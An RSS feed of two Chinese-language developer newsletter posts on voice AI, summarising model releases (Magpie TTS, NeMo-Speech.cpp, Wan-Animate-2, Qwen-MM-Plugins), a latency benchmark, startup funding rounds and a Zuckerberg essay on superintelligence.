<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>测试之家社区</title>
    <link>https://testerhome.com/</link>
    <description>测试之家社区最新发帖.</description>
    <language>en-us</language>
    <item>
      <title>NVIDIA 发布 Magpie TTS 多语种 Voice Agent 部署指南；DuplexGen 开源面向全双工语音交互的对话数据合成框架丨日报</title>
      <description>&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-5db922e97a59afb1b507993de2e625e11c4.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;本期编辑：@ 三水、@ 鲍勃&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="01 有话题的技术"&gt;&lt;strong&gt;01 有话题的技术&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、NVIDIA 发布 Magpie TTS Multilingual Voice Agent 部署指南：12 语种支持，B200 单流首音延迟 32ms&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-a13fe87a88f2f8972506209f811d83ddfbf.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;NVIDIA 发布 Magpie TTS Multilingual 的 Voice Agent 部署指南，将此前开放权重的多语种 TTS 模型整理为更完整的服务化接入路径。本次更新重点在模型部署与 Voice Agent 集成，并非 Magpie TTS Multilingual 的首次发布。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;v2607 版本约 364M 参数，支持 12 种语言：&lt;/strong&gt; 模型名称为 Magpie TTS Multilingual 357M，采用编码器 - 解码器 Transformer 架构，覆盖英语、汉语、阿拉伯语、韩语和巴西葡萄牙语等 12 种语言。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;B200 单流首音延迟达到 32ms：&lt;/strong&gt; 当前版本面向流式 Voice Agent 场景，在 NVIDIA B200 GPU 上单流首音延迟为 32ms。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;开放权重并提供完整部署控制：&lt;/strong&gt; 指南围绕低延迟、多语种和服务化接入展开，将开放权重模型进一步转化为可复现的 Voice Agent 部署流程。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;标准模式单次最多生成 20 秒语音：&lt;/strong&gt; 模型当前仅支持指定的 12 种语言，并出于安全考虑移除了零样本语音克隆功能。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://huggingface.co/nvidia/magpie_tts_multilingual_357m" rel="nofollow" target="_blank"&gt;https://huggingface.co/nvidia/magpie_tts_multilingual_357m&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://huggingface.co/blog/nvidia/magpie-tts-multilingual-voice-agents" rel="nofollow" target="_blank"&gt;https://huggingface.co/blog/nvidia/magpie-tts-multilingual-voice-agents&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;（&lt;a href="/NVIDA" class="user-mention" title="@NVIDA"&gt;&lt;i&gt;@&lt;/i&gt;NVIDA&lt;/a&gt;）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2、DuplexGen 开源场景自适应 Turn-Taking 对话合成框架：用人类偏好校准接管对话轮次、Backchannel 与沉默&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-2015860bfcf4b9927e3f2c12f6c4644a92a.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;DuplexGen 提出一种面向全双工语音交互的对话数据合成框架，通过少量 slot-level 人类偏好标注校准 LLM 的 Turn-Taking 决策，使生成数据中的对话节奏能够随场景变化，而不是对所有任务使用同一套抢话、回应和等待策略。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;将 Turn-Taking 拆成 slot-level 决策：&lt;/strong&gt; 框架先将文本对话改写为口语形式，再识别句中潜在动作位置，并在每个 slot 上选择接管话轮、Backchannel 或继续沉默。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;用少量人类偏好标注校准 LLM：&lt;/strong&gt; DuplexGen 通过 KL-divergence soft-label 微调校准每个 slot 的动作分布，使预测结果更接近特定场景下的人类偏好，而非直接采用 LLM 原始置信度。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;覆盖 6 类合作与竞争对话场景：&lt;/strong&gt; 包括苏格拉底式教学、协作规划、采访、谈判、说服和社交对话；实验中的人类标注显示，合作任务更频繁出现 Backchannel，竞争任务则更倾向主动接管话轮。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;训练数据可改变全双工模型的 Turn-Taking 行为：&lt;/strong&gt; 使用 DuplexGen 数据微调 PersonaPlex 后，其六类场景平均 Turn-Taking Naturalness 人类评分从 3.56 提升至 3.69，Moshi 基线为 3.48；Instruction Following 平均分从 PersonaPlex 的 3.41 提升至 3.55。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;已开放数据生成代码、Corpus 与语音版本：&lt;/strong&gt; 官方代码覆盖文本转口语、slot 识别、Turn-Taking 预测、对话生成及 Chatterbox TTS 渲染流程，同时提供 PersonaPlex 的 LoRA 微调代码，但当前未发布对应微调模型 checkpoint。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://duplexgen.github.io/" rel="nofollow" target="_blank"&gt;https://duplexgen.github.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://x.com/takyoung_kim/status/2086996559452123622" rel="nofollow" target="_blank"&gt;https://x.com/takyoung_kim/status/2086996559452123622&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/takyoung_kim" class="user-mention" title="@takyoung_kim"&gt;&lt;i&gt;@&lt;/i&gt;takyoung_kim&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3、OpenBenchmarks 发布 Voice Agent Latency Benchmark：真实电话测量 TTFAB，覆盖 Telnyx、ElevenLabs 等 5 个平台&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-3760df1ba19d787d4b699c7f760a92b036d.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-b4c8cb345a4a7490e4d4a9c7d78f08a223c.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;OpenBenchmarks Labs 发布 Voice Agent Latency Benchmark，用真实电话录音测量用户停止说话到 Voice Agent 开始发声之间的等待时间 TTFAB，而非采用平台自身上报的延迟数据。当前榜单覆盖 Telnyx、ElevenLabs、Bland AI、Vapi 和 Retell AI，共汇总 550 通电话、2078 个有效对话轮次。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TTFAB 直接从双声道通话录音计算：&lt;/strong&gt; 分析器分别定位用户结束说话的 &lt;code&gt;t1&lt;/code&gt; 和智能体开始发声的 &lt;code&gt;t2&lt;/code&gt;，以 &lt;code&gt;t2 − t1&lt;/code&gt; 计算每轮延迟；双方重叠说话、检测器结果不一致或未收到回复的轮次会被剔除。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Telnyx 的 p50 为 1296ms：&lt;/strong&gt; 当前榜单中 Telnyx 的 TTFAB p50 最低；ElevenLabs 为 1424ms，Bland AI 为 1520ms，Vapi 为 1558ms，Retell AI 为 1740ms。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ElevenLabs 的 p95 为 1768ms：&lt;/strong&gt; 其 p95/p50 为 1.24×，当前五个平台中尾部延迟波动最小；Telnyx p95 为 1856ms，Vapi、Bland AI 和 Retell AI 的 p95 均超过 2 秒。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;同步测试使用相同问题集同时拨号：&lt;/strong&gt;&lt;code&gt;harness.sync_bench&lt;/code&gt; 会让多个平台在同一时刻接收相同问题集，以减少平台负载、模型路由和运营商网络随时间变化带来的测试偏差。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;测试代码、逐轮数据和录音验证流程已开放：&lt;/strong&gt; 仓库提供拨号 harness、离线 analyzer、每通电话的逐轮 timing 与 discard 信息，并可通过 &lt;code&gt;verify_run.py&lt;/code&gt; 根据公开录音和 SHA256 重新计算榜单结果。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://openbenchmarks.com/voice-agent-latency" rel="nofollow" target="_blank"&gt;https://openbenchmarks.com/voice-agent-latency&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/openbenchmarks-labs/voice-agent-latency" rel="nofollow" target="_blank"&gt;https://github.com/openbenchmarks-labs/voice-agent-latency&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="02 有亮点的产品"&gt;&lt;strong&gt;02 有亮点的产品&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、Grok 上线 Voice connector：支持生成个性化播客与每日简报自动化&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-41de11369de3c08060f4feb00366d9f0c54.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;（&lt;a href="/Grok" class="user-mention" title="@Grok"&gt;&lt;i&gt;@&lt;/i&gt;Grok&lt;/a&gt;）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2、Deepgram - 新语音即将上线预告&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-3c8f97af76d33011f044b20e52f14582ca3.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-963343fd081b9034bc3fd6a830531fb9a50.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;（&lt;a href="/Deepgram" class="user-mention" title="@Deepgram"&gt;&lt;i&gt;@&lt;/i&gt;Deepgram&lt;/a&gt;）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3、HappyRobot 完成 1.5 亿美元 Series C：估值 12 亿美元，服务 150+ 企业客户&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-782555f0143b92a310baa998d3dc17df8bc.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;HappyRobot 完成 1.5 亿美元 Series C 融资，投后估值达到 12 亿美元。公司从物流货运场景切入企业 Voice Agent 与流程自动化，目前已服务超过 150 家企业客户，并继续扩展电话、邮件和真实业务流程处理能力。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Series C 融资金额为 1.5 亿美元：&lt;/strong&gt; 本轮融资后，公司估值达到 12 亿美元。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;企业客户超过 150 家：&lt;/strong&gt; 已披露客户包括 DHL、Uber 等企业。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;营收较 Series B 后增长 5 倍：&lt;/strong&gt; 公司披露自上一轮融资以来，营收实现 5 倍增长。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;净收入留存率超过 150%：&lt;/strong&gt; 现有客户的扩展使用推动收入继续增长。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;产品聚焦真实业务流程自动化：&lt;/strong&gt; HappyRobot 的 Voice Agent 可用于打电话、发送邮件，并参与物流及其他企业流程处理。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://www.happyrobot.ai/blog/happyrobot-seriesc-fundraising-announcement" rel="nofollow" target="_blank"&gt;https://www.happyrobot.ai/blog/happyrobot-seriesc-fundraising-announcement&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;（&lt;a href="/HappyRobot" class="user-mention" title="@HappyRobot"&gt;&lt;i&gt;@&lt;/i&gt;HappyRobot&lt;/a&gt; ）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4、AI 助听器公司飞声完成数千万元天使 + 轮融资：由慧和资产领投，方瑞资本担任财务顾问并跟投&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-23d9562d74c6864d5f6afa95d24655db4be.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;AI 助听器公司飞声完成数千万元天使 + 轮融资，由慧和资产领投，方瑞资本担任财务顾问并跟投，资金将用于产品研发、算法迭代、医疗器械认证及市场拓展。公司正在推进开放式 AI 助听器 B02，通过端侧声学模型处理环境声音，并针对开放式结构中的啸叫问题进行算法抑制。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;最高 50dB 增益下进行啸叫控制：&lt;/strong&gt; 飞声称，其算法会在声音输出前识别可能导致啸叫的共振特征并进行抑制；B02 同时定制更大尺寸动圈单元和耳帽，以兼顾增益、佩戴稳定性和漏音控制。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;声学 AI 模型部署在端侧：&lt;/strong&gt; 助听器需要实时采集环境音，并在十毫秒内区分人声与噪声，再根据用户不同频段的听力损失进行补偿；由于延时要求较高，飞声未采用云端大模型处理这部分声学任务。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;通过 App 完成听力测试与增益调节：&lt;/strong&gt; 用户可先在 App 内完成听力测试，系统再依据测试结果调整不同频段的声音增益，减少对传统线下验配流程的依赖。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;B02 海外众筹金额已达数百万美元：&lt;/strong&gt; 文章称，该产品已获得批量订单；飞声同时正在推进欧盟和美国医疗器械认证。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;H8 底噪为 5dB：&lt;/strong&gt; 飞声此前推出面向轻度至重度听损人群的 H8，并称其 5dB 底噪低于外资头部品牌高端产品常见的 15–25dB 水平。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzkwMTI4MjU0Mw==&amp;amp;mid=2247551882&amp;amp;idx=2&amp;amp;sn=862aff811a08f0f8d4895544b9810d96&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;硬氪首发 | 开放式 AI 助听器完成数千万元天使轮融资，海外市场已众筹数百万美金&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;（@ 硬氪）&lt;/p&gt;
&lt;h2 id="03 有态度的观点"&gt;&lt;strong&gt;03 有态度的观点&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、Meta CEO Mark Zuckerberg 发文阐述 Meta 构建超级智能哲学与愿景&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Meta CEO Mark Zuckerberg 近日发文系统阐述其构建超级智能的哲学：AI 的终点不应该是把更多工作交给机器，而是把更强的能力交到每个人手中。他认为，&lt;strong&gt;超级智能最重要的贡献将是「发明」，而不是「自动化」。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;在 Zuckerberg 描绘的未来里，每个人都会拥有一个持续工作的个人超级智能 Agent。它不仅回答问题，还会理解用户的目标和长期偏好，帮助处理健康、职业、财务、家庭管理和创作等事务，并可以通过眼镜等设备随时参与现实世界。Meta 还计划提供面向数十亿人的免费版本，让超级智能尽可能广泛地分布。&lt;/p&gt;

&lt;p&gt;这也构成了 Meta 与其他 AI 实验室在路线上的核心分歧。Zuckerberg 认为，如果超级智能主要服务于企业、政府和少数机构，AI 会进一步放大机构与个人之间的权力差距；相比之下，Meta 希望把超级智能做成一种「个人能力放大器」，让普通人也获得过去只有大型组织才能拥有的研究、创造和执行能力。&lt;/p&gt;

&lt;p&gt;因此，他甚至对当前 AI 行业围绕「对齐」的主流叙事提出质疑：不存在一个能够代表所有人价值观的、唯一正确的超级智能。真正的安全机制，不是把能力集中到少数人手里，而是通过广泛分发超级智能形成新的「权力平衡」。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-9c96dfbbedc3d1168f00d8c36162ca8d90c.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.meta.com/thefutureisforeveryone/" rel="nofollow" target="_blank"&gt;https://www.meta.com/thefutureisforeveryone/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/Mark" class="user-mention" title="@Mark"&gt;&lt;i&gt;@&lt;/i&gt;Mark&lt;/a&gt; Zuckerberg)&lt;/p&gt;
&lt;h2 id="04 社区黑板报"&gt;&lt;strong&gt;04 社区黑板报&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;招聘、项目分享、求助……任何你想和社区分享的信息，请联系我们投稿。（加微信 creators2022，备注「社区黑板报」）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1、赛事推荐：AI 社会科学家研究挑战赛：开启 AGI 时代的社会科学研究之旅&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;由清华大学计算社会科学与国家治理实验室、清华大学电子工程系主办的「AI 社会科学家研究挑战赛」正式启动。赛事基于 AgentSociety² 平台，参赛者可以构建大规模智能体社会，通过 Agent 之间的交互，研究政策治理、数字经济、信息传播、社会演化，以及人类与 AI Agent 共存等问题。&lt;/p&gt;

&lt;p&gt;这也是一个很值得 Agent 开发者关注的方向：&lt;strong&gt;把智能体从 “完成任务” 进一步推向 “模拟社会”——让多 Agent 系统成为研究复杂现实世界的一种实验基础设施。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;赛事设置 7 大研究方向，总奖金及 LLM API 支持共 18 万元，支持 3–5 人跨学科组队。&lt;/p&gt;

&lt;p&gt;🗓 9 月 15 日初筛&lt;/p&gt;

&lt;p&gt;🏆 10 月 25 日现场评审及颁奖（暂定）&lt;/p&gt;

&lt;p&gt;感兴趣的开发者、研究者，尤其是正在关注 Multi-Agent、Agent Simulation、AI for Science / Social Science 的朋友，可以关注一下。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-fb746f94e7babdbbc470678deafab0691ec.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzUzNjQwNzc0NA==&amp;amp;mid=2247494761&amp;amp;idx=1&amp;amp;sn=fe2953757579276ea599095a39dab239&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;赛事发布｜AI 社会科学家研究挑战赛：开启 AGI 时代的社会科学研究之旅&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-ec91974f77c162622e79a0ae6e54dfe4b32.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-a586bb754c7a24bbc43d8773609c7c5eac4.jpg" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.rtecommunity.dev" rel="nofollow" target="_blank" title=""&gt;阅读更多 Voice Agent 学习笔记：了解最懂 AI 语音的头脑都在思考什么&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;写在最后：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;我们欢迎更多的小伙伴参与 &lt;strong&gt;「RTE 开发者日报」&lt;/strong&gt; 内容的共创，感兴趣的朋友请通过开发者社区或公众号留言联系，记得报暗号「共创」。&lt;/p&gt;

&lt;p&gt;对于任何反馈（包括但不限于内容上、形式上）我们不胜感激、并有小惊喜回馈，例如你希望从日报中看到哪些内容；自己推荐的信源、项目、话题、活动等；或者列举几个你喜欢看、平时常看的内容渠道；内容排版或呈现形式上有哪些可以改进的地方等。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-4d33cc034089dd86b0e31a696efdd7f1f32.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;作者提示: 个人观点，仅供参考&lt;/p&gt;</description>
      <author>RTE</author>
      <pubDate>Wed, 12 Aug 2026 01:13:33 +0800</pubDate>
      <link>https://testerhome.com/topics/44611</link>
      <guid>https://testerhome.com/topics/44611</guid>
    </item>
    <item>
      <title>音频智能公司 Noiz 完成数千万元种子轮融资；英伟达开源语音推理运行时 NeMo-Speech.cpp 丨日报</title>
      <description>&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-f94b19925702f54f0cccbdca9fab8a1da09.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;本期编辑：@ 三水、@ 鲍勃&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="01 有话题的技术"&gt;&lt;strong&gt;01 有话题的技术&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、Qwen 开源 Qwen-MM-Plugins：以 Skill + MCP 接入多模态能力，覆盖图像、视频、3D 与 CAD&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-a0699a6665d4c4fb100468e0321a2ff67b0.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;Qwen 开源 Qwen-MM-Plugins，为不同 Agent Harness 提供可独立安装的多模态能力。项目将每项能力拆分为用于声明工具能力的 Skill，以及可选的 MCP Server，并提供面向 Claude Code、Codex、Qoder、OpenClaw、Qwen Code 等环境的安装方式。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;提供 6 类可独立安装能力：&lt;/strong&gt; 包括 core、video-memory、video-edit、blender、freecad 和 edu-agent，覆盖多模态理解、长视频问答、视频编辑与生成、3D 建模、参数化 CAD 和教学视频生成。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;core 支持动态分辨率多模态读取：&lt;/strong&gt; 可处理图像、视频、文档和 3D 模型，并提供 OCR、grounding、分割、ASR、vision chat 和 web search 等工具。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;采用 Skill + 可选 MCP Server 结构：&lt;/strong&gt; Skill 用于让模型识别可用工具集，MCP Server 提供具体工具，并可通过 &lt;code&gt;uvx&lt;/code&gt; 按需启动；edu-agent 为仅包含 Skill 的能力。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;可接入多种 Agent Harness：&lt;/strong&gt; 引导安装脚本覆盖 Claude Code、Codex、Qoder、OpenClaw、Qwen Code 和 Gemini CLI；opencode、pi、QwenPaw 等环境可手动注册 Skill 与 MCP。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Blender 与 FreeCAD 通过运行中的桌面应用执行操作：&lt;/strong&gt; Blender 提供 22 个工具，可控制建模、材质、灯光和渲染；FreeCAD 提供 14 个工具，覆盖参数化建模、属性编辑、STEP/STL 导入导出和 FEM 分析。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://github.com/QwenLM/Qwen-MM-Plugins" rel="nofollow" target="_blank"&gt;https://github.com/QwenLM/Qwen-MM-Plugins&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/QwenLM" class="user-mention" title="@QwenLM"&gt;&lt;i&gt;@&lt;/i&gt;QwenLM&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2、英伟达开源 NeMo-Speech.cpp：C++ 语音推理运行时支持实时/批量模式与 OpenAI 兼容 API&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;英伟达开源 NeMo-Speech.cpp，一个基于 ggml 的原生 C++ 语音模型推理运行时环境，可运行 NVIDIA Nemotron Speech 等模型，并提供实时与批量推理模式。项目同时提供 CLI、本地 HTTP 服务、WebSocket 实时转录以及原生 C/C++ SDK 等接入方式。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ASR 模型统一使用 GGUF：&lt;/strong&gt; 已提供 Parakeet CTC 1.1B、Parakeet TDT 0.6B v3、Nemotron-Speech Streaming 0.6B 和 Nemotron 3.5 ASR Streaming 0.6B 等模型的运行支持，官方提供可直接运行的 Q8 GGUF。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;提供 OpenAI 兼容音频 API 与实时 WebSocket：&lt;/strong&gt; 本地 HTTP Server 提供部分 OpenAI 兼容音频 API，并支持 WebSocket 实时转录；另有独立 &lt;code&gt;riva_server&lt;/code&gt; 提供 Riva 兼容 gRPC 接口。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;支持将 NeMo 与 Hugging Face checkpoint 转换为 GGUF：&lt;/strong&gt; 转换工具可处理 &lt;code&gt;.nemo&lt;/code&gt;、本地 NeMo checkpoint、Hugging Face 本地模型或仓库，并自动识别 CTC、RNNT 和 TDT head。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;GGUF 支持多种量化格式：&lt;/strong&gt; 包括 Q8_0、BF16、F16、Q6_K、Q5_K 和 Q4_K，其中 Q8_0 为默认格式；CUDA 后端还提供面向批处理的 planar Q8 布局。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;同时提供 CLI 与原生 C/C++ SDK：&lt;/strong&gt; Release 包包含稳定 C headers、共享库和 CMake package，应用可按 ASR 等具体能力单独链接；源码构建文档覆盖 CPU、CUDA、Metal、Vulkan、Windows 和容器环境。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://github.com/NVIDIA/NeMo-Speech.cpp" rel="nofollow" target="_blank"&gt;https://github.com/NVIDIA/NeMo-Speech.cpp&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/NVIDA" class="user-mention" title="@NVIDA"&gt;&lt;i&gt;@&lt;/i&gt;NVIDA&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3、Wan 开源 Wan-Animate-2：端到端 DiT 直接输入驱动视频，蒸馏版 10 步完成推理&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-11e64154cec47c80ae63c948f33d7188d47.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-1d1163a715122b760ed6328d2e20fe6245e.gif" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;Wan 团队发布 Wan-Animate-2 推理代码以及 Base、Distillation 模型权重，用于参考图像驱动的角色动画生成。模型将驱动视频直接输入重新设计的 Diffusion Transformer，取消中间动作提取器，并加入文本控制的视角调整能力。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;驱动视频直接进入 Diffusion Transformer：&lt;/strong&gt; Wan-Animate-2 采用端到端角色动画框架，不再依赖中间动作提取器，用于生成角色运动并保持参考角色身份特征。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;文本可独立控制输出视角：&lt;/strong&gt; 模型增加文本驱动的 viewpoint control，使生成视频的相机视角可以与驱动视频中的视角解耦。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Distillation 版本采用 10 步推理：&lt;/strong&gt; 官方 Diffusers 示例中，蒸馏模型使用 10 个 inference steps，无需 CFG，&lt;code&gt;guidance_scale&lt;/code&gt; 设为 1.0。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;默认配置支持 720P 生成：&lt;/strong&gt; 仓库默认参数针对 8× A800 GPU 调优，并已测试在 2× A800 GPU 上生成 480P 视频。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;已接入 Diffusers、DiffSynth-Studio 和 ComfyUI：&lt;/strong&gt; Wan-Animate-2 已提供对应集成方式，其中 Diffusers 可直接调用 Base 和 Distillation 模型进行推理。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://github.com/Wan-Video/Wan-Animate-2" rel="nofollow" target="_blank"&gt;https://github.com/Wan-Video/Wan-Animate-2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;( &lt;a href="/Wan-Video" class="user-mention" title="@Wan-Video"&gt;&lt;i&gt;@&lt;/i&gt;Wan-Video&lt;/a&gt;)&lt;/p&gt;
&lt;h2 id="02 有亮点的产品"&gt;&lt;strong&gt;02 有亮点的产品&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、ChatGPT Voice 支持文件上传与 Projects 项目上下文调用&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;ChatGPT Voice 的 GPT-Live 功能现已支持文件上传和项目管理。用户可在语音交互中上传文件并开展内容分析与提问，同时亦可在项目管理场景下，调用历史对话、参考资料及项目说明等相关内容。&lt;/p&gt;

&lt;p&gt;(&lt;a href="/OpenAI" class="user-mention" title="@OpenAI"&gt;&lt;i&gt;@&lt;/i&gt;OpenAI&lt;/a&gt;)&lt;/p&gt;

